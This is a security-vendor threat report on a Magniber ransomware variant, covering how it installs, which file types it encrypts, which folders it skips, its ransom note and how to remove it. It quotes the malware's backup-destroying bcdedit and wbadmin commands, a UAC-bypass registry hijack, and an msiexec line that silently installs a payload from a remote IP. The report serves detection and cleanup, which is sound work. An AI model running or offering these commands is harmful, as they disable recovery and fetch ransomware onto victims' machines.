Ransom.Win64.MAGNIBER.T
Ransom:Win64/Magniber.PAB!MTB (MICROSOFT)
Windows

Threat Type: Ransomware
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It encrypts files with specific file extensions. It drops files as ransom note.
TECHNICAL DETAILS
Arrival Details
This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Ransomware adds the following processes:
- %System%\cmd.exe /c calc.exe → to bypass UAC
- "wscript.exe" /b /e:VBScript.Encode ../../Users/Public/[Random Characters].dtud
- bcdedit /set {default} recoveryenabled no
- wbadmin delete catalog -quiet
- wbadmin delete systemstatebackup -quiet
- bcdedit /set {default} bootstatuspolicy ignoreallfailures
(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
It adds the following mutexes to ensure that only one of its copies runs at any one time:
- Global\_MSIExecute
Other System Modifications
This Ransomware modifies the following registry entries:
HKEY_CURRENT_USER\SOFTWARE\Classes\
AppXk0g4vb8gvt7b93tg50ybCy892pge6jmt\Shell\Open\
command
DelegateExecute = 0
(Note: The default value data of the said registry entry is [4ED3A719-CEA8-4BD9-910D-E252F997AFC2].)
Other Details
This Ransomware does the following:
- It checks the Windows OS Build Number to the following:
- Windows 10 home:
- 18362
- 18363
- 19041
- 19042
- 19043
- 19044
- Windows Server Essentials:
- 20348
- Windows 11 Home/Pro:
- 22000
- Windows 11 Education/Enterprise/SE:
- 22621
- Windows 11:
- 22622
- 25115
- 25145
- 25163
- 25179
- 25201
Ransomware Routine
This Ransomware encrypts files with the following extensions:
- .1cd
- .7zip
- .abm
- .abs
- .abw
- .accdb
- .act
- .adn
- .adp
- .aes
- .aft
- .afx
- .agif
- .agp
- .ahd
- .ai
- .aic
- .aim
- .albm
- .alf
- .ans
- .apd
- .apm
- .apng
- .aps
- .apt
- .apx
- .arc
- .art
- .arw
- .asc
- .ase
- .asf
- .ask
- .asm
- .asp
- .asw
- .asy
- .aty
- .avi
- .awdb
- .awp
- .awt
- .aww
- .azz
- .bad
- .bak
- .bay
- .bbs
- .bdb
- .bdp
- .bdr
- .bean
- .bib
- .bmp
- .bmx
- .bna
- .bnd
- .boc
- .bok
- .brd
- .brk
- .brn
- .brt
- .bss
- .btd
- .bti
- .btr
- .c
- .ca
- .cals
- .can
- .cd
- .cdb
- .cdc
- .cdg
- .cdmm
- .cdmt
- .cdmz
- .cdr
- .cdt
- .cf
- .cfu
- .cgm
- .cimg
- .cin
- .cit
- .ckp
- .class
- .clkw
- .cma
- .cmx
- .cnm
- .cnv
- .colz
- .cpc
- .cpd
- .cpg
- .cpp
- .cps
- .cpx
- .crd
- .crt
- .crw
- .cs
- .csr
- .csv
- .csy
- .ct
- .cvg
- .cvi
- .cvs
- .cvx
- .cwt
- .cxf
- .cyi
- .dad
- .daf
- .db
- .dbc
- .dbf
- .dbk
- .dbs
- .dbt
- .dbv
- .dbx
- .dca
- .dcb
- .dch
- .dcr
- .dcs
- .dct
- .dcx
- .dd
- .dds
- .ded
- .der
- .dgn
- .dgs
- .dgt
- .dhs
- .dib
- .dif
- .dip
- .diz
- .djv
- .djvu
- .dmi
- .dmo
- .dnc
- .dne
- .doc
- .docb
- .docm
- .docx
- .docz
- .dot
- .dotm
- .dotx
- .dpp
- .dpx
- .dqy
- .drw
- .drz
- .dsk
- .dsn
- .dsv
- .dt
- .dta
- .dtsx
- .dtw
- .dv
- .dvi
- .dwg
- .dx
- .dx
- .dxb
- .dxf
- .eco
- .ecw
- .ecx
- .edb
- .efd
- .egc
- .eio
- .eip
- .eit
- .em
- .emd
- .emf
- .emlx
- .ep
- .epf
- .epp
- .eps
- .epsf
- .eq
- .erf
- .err
- .etf
- .etx
- .euc
- .exr
- .fa
- .faq
- .fax
- .fb
- .fbx
- .fcd
- .fcf
- .fdf
- .fdr
- .fds
- .fdt
- .fdx
- .fdxt
- .fes
- .fft
- .fi
- .fic
- .fid
- .fif
- .fig
- .fla
- .flr
- .flv
- .fmv
- .fo
- .fodt
- .fpos
- .fpt
- .fpx
- .frm
- .frt
- .frx
- .ftn
- .fwdn
- .fxc
- .fxg
- .fzb
- .fzv
- .gcdp
- .gdb
- .gdoc
- .gem
- .geo
- .gfb
- .gfie
- .ggr
- .gif
- .gih
- .gim
- .gio
- .glox
- .gpd
- .gpg
- .gpn
- .gro
- .grob
- .grs
- .gsd
- .gthr
- .gtp
- .gv
- .gwi
- .gz
- .h
- .hbk
- .hdb
- .hdp
- .hdr
- .hht
- .his
- .hp
- .hpg
- .hpi
- .hs
- .htc
- .hwp
- .hz
- .ib
- .ibd
- .icn
- .icon
- .icpr
- .idc
- .idea
- .idx
- .igt
- .igx
- .ihx
- .ii
- .iiq
- .imd
- .info
- .ink
- .ipf
- .ipx
- .iso
- .itdb
- .itw
- .iwi
- .j
- .jar
- .jas
- .java
- .jbig
- .jbmp
- .jbr
- .jfif
- .jia
- .jis
- .jng
- .joe
- .jpe
- .jpeg
- .jpg
- .jps
- .jpx
- .jrtf
- .js
- .jsp
- .jtf
- .jtx
- .jw
- .jxr
- .kdb
- .kdbx
- .kdc
- .kdi
- .kdk
- .kes
- .key
- .kic
- .klg
- .knt
- .kon
- .kpg
- .kwd
- .lay
- .lbm
- .lbt
- .ldf
- .lgc
- .lis
- .lit
- .ljp
- .lmk
- .lnt
- .lrc
- .lst
- .ltr
- .ltx
- .lue
- .luf
- .lwo
- .lwp
- .lws
- .lyt
- .lyx
- .ma
- .mac
- .man
- .map
- .maq
- .mat
- .max
- .mb
- .mbm
- .mbox
- .mdb
- .mdf
- .mdn
- .mdt
- .me
- .mef
- .mel
- .mft
- .mgcb
- .mgmf
- .mgmt
- .mgmx
- .mgtx
- .mid
- .min
- .mkv
- .mm
- .mmat
- .mnr
- .mnt
- .mos
- .mov
- .mpeg
- .mpf
- .mpg
- .mpo
- .mrg
- .mrxs
- .msg
- .mud
- .mwb
- .mwp
- .mx
- .my
- .myd
- .myi
- .ncr
- .nct
- .ndf
- .nef
- .nfo
- .njx
- .nlm
- .now
- .nrw
- .nsf
- .nyf
- .nzb
- .obj
- .oce
- .oci
- .ocr
- .odb
- .odg
- .odm
- .odo
- .odp
- .ods
- .odt
- .of
- .oft
- .omf
- .oplc
- .oqy
- .ora
- .orf
- .ort
- .orx
- .ost
- .ota
- .otg
- .oti
- .otp
- .ots
- .ott
- .ovp
- .ovr
- .owc
- .owg
- .oyx
- .ozb
- .ozj
- .ozt
- .p
- .pa
- .pan
- .pano
- .pap
- .paq
- .pas
- .pbm
- .pcd
- .pcs
- .pdb
- .pdd
- .pdm
- .pds
- .pdt
- .pef
- .pem
- .pff
- .pfi
- .pfs
- .pfv
- .pfx
- .pgf
- .pgm
- .phm
- .php
- .pic
- .pict
- .pix
- .pjpg
- .pjt
- .plt
- .pm
- .pmg
- .png
- .pni
- .pnm
- .pntg
- .pnz
- .pobj
- .pop
- .pot
- .potm
- .potx
- .ppam
- .ppm
- .pps
- .ppsm
- .ppsx
- .ppt
- .pptm
- .pptx
- .prt
- .prw
- .psd
- .psdx
- .pse
- .psid
- .psp
- .pst
- .psw
- .ptg
- .pth
- .ptx
- .pu
- .pvj
- .pvm
- .pvr
- .pwa
- .pwi
- .pwr
- .px
- .pxr
- .pza
- .pzp
- .pzs
- .qd
- .qmg
- .qpx
- .qry
- .qvd
- .rad
- .rar
- .ras
- .raw
- .rb
- .rctd
- .rcu
- .rd
- .rdb
- .rft
- .rgb
- .rgf
- .rib
- .ric
- .riff
- .ris
- .rix
- .rle
- .rli
- .rng
- .rpd
- .rpf
- .rpt
- .rri
- .rs
- .rsb
- .rsd
- .rsr
- .rst
- .rt
- .rtd
- .rtf
- .rtx
- .run
- .rw
- .rzk
- .rzn
- .saf
- .sam
- .sbf
- .scad
- .scc
- .sch
- .sci
- .scm
- .sct
- .scv
- .scw
- .sdb
- .sdf
- .sdm
- .sdoc
- .sdw
- .sep
- .sfc
- .sfw
- .sgm
- .sh
- .sig
- .skm
- .sla
- .sld
- .sldm
- .sldx
- .slk
- .sln
- .sls
- .smf
- .sms
- .snt
- .sob
- .spa
- .spe
- .sph
- .spj
- .spp
- .spq
- .spr
- .sq
- .sqb
- .srw
- .ssa
- .ssk
- .st
- .stc
- .std
- .sti
- .stm
- .stn
- .stp
- .str
- .stw
- .sty
- .sub
- .suo
- .svf
- .svg
- .svgz
- .swf
- .sxc
- .sxd
- .sxg
- .sxi
- .sxm
- .sxw
- .tab
- .tar
- .tbk
- .tcx
- .tdf
- .tdt
- .te
- .tex
- .text
- .tgz
- .thp
- .tif
- .tiff
- .tlb
- .tlc
- .tm
- .tmd
- .tmv
- .tmx
- .tne
- .tpc
- .trm
- .tvj
- .udb
- .ufr
- .unx
- .uof
- .uop
- .uot
- .upd
- .usr
- .utxt
- .vb
- .vbr
- .vbs
- .vcd
- .vct
- .vdb
- .vdi
- .vec
- .vm
- .vmdk
- .vmx
- .vnt
- .vob
- .vpd
- .vrm
- .vrp
- .vsd
- .vsdm
- .vsdx
- .vsm
- .vstm
- .vstx
- .vue
- .vw
- .wav
- .wbk
- .wcf
- .wdb
- .wgz
- .wire
- .wks
- .wma
- .wmdb
- .wmv
- .wn
- .wp
- .wp
- .wpa
- .wpd
- .wpg
- .wps
- .wpt
- .wpw
- .wri
- .wsc
- .wsd
- .wsh
- .wtx
- .x
- .xar
- .xd
- .xdb
- .xlc
- .xld
- .xlf
- .xlgc
- .xlm
- .xls
- .xlsb
- .xlsm
- .xlsx
- .xlt
- .xltm
- .xltx
- .xlw
- .xps
- .xwp
- .xyp
- .xyw
- .ya
- .ybk
- .ym
- .zabw
- .zdb
- .zdc
- .zip
- .zw
It avoids encrypting files found in the following folders:
- documents and settings
- appdata
- local settings
- sample music
- sample pictures
- sample videos
- tor browser
- recycle
- windows
- boot
- intel
- msocache
- perflogs
- program files
- programdata
- recovery
- system volume information
- winnt
It appends the following extension to the file name of the encrypted files:
- {Original file name}_{Original file extension}.xiwuwac
It drops the following file(s) as ransom note:
- {Encrypted Directory}\README.html
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete this file
- %Public%\{Random Characters}.asf
- %Public%\{Random Characters}.dtud
Step 4
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\SOFTWARE\Classes\AppXk0g4vb8gvt7b93tg50ybCy892pge6jmt\Shell\Open\command\
- (Default) = msiexec /i http://93.123.12.195/xiwuwac /q
- (Default) = msiexec /i http://93.123.12.195/xiwuwac /q
- In HKEY_CURRENT_USER\SOFTWARE\Classes\AppXk0g4vb8gvt7b93tg50ybCy892pge6jmt\Shell\Open\command\
- (Default) = wscript.exe/b /e:VBScript.Encode ../../Users/Public//{Random Characters}.dtud
- (Default) = wscript.exe/b /e:VBScript.Encode ../../Users/Public//{Random Characters}.dtud
- In HKEY_CURRENT_USER\SOFTWARE\Windows\CurrentVersion\Run\
- [Random Characters] = %Public%{Random Characters}.asf
- [Random Characters] = %Public%{Random Characters}.asf
Step 5
Restore this modified registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\SOFTWARE\Classes\AppXk0g4vb8gvt7b93tg50ybCy892pge6jmt\Shell\Open\command\
- DelegateExecute = 0
- DelegateExecute = 0
Step 6
Scan your computer with your Trend Micro product to delete files detected as Ransom.Win64.MAGNIBER.T. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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